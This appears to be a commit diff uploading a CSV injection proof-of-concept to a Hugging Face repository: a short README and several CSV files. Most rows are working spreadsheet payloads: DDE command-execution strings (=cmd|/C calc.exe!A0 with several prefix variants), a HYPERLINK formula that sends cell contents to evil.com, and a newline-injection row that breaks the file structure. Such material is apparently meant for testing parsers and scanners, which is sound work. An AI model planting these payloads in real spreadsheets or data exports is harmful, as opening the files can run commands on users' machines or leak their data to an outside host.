Upload folder using huggingface_hub

README.md

@@ -0,0 +1,10 @@
+# CSV Injection PoC
+
+## Vulnerability
+DDE injection, formula injection in CSV files.
+
+## Files
+- poc_dde_injection.csv - DDE command execution
+- poc_formula_injection.csv - Formula exfiltration
+- poc_newline_injection.csv - Structure breaking
+- benign.csv - Clean

benign.csv

@@ -0,0 +1,3 @@
+name,value
+accuracy,0.95
+loss,0.05

poc_dde_injection.csv

@@ -0,0 +1,4 @@
+Name,Value,Description
+model_accuracy,0.95,=cmd|/C calc.exe!A0
+loss,0.05,normal
+"=HYPERLINK(""http://evil.com/steal?data=""&A1,""Click here"")",0.1,phishing via hyperlink

poc_formula_injection.csv

@@ -0,0 +1,6 @@
+metric,value
++cmd|/C calc.exe!A0,1
+-cmd|/C calc.exe!A0,2
+@SUM(1+1)*cmd|/C calc.exe!A0,3
+	cmd|/C calc.exe!A0,4
+;=cmd|/C calc.exe!A0,5

poc_newline_injection.csv

@@ -0,0 +1,3 @@
+model_name,accuracy,status
+"bert-base
+malicious_injection_here",0.99,approved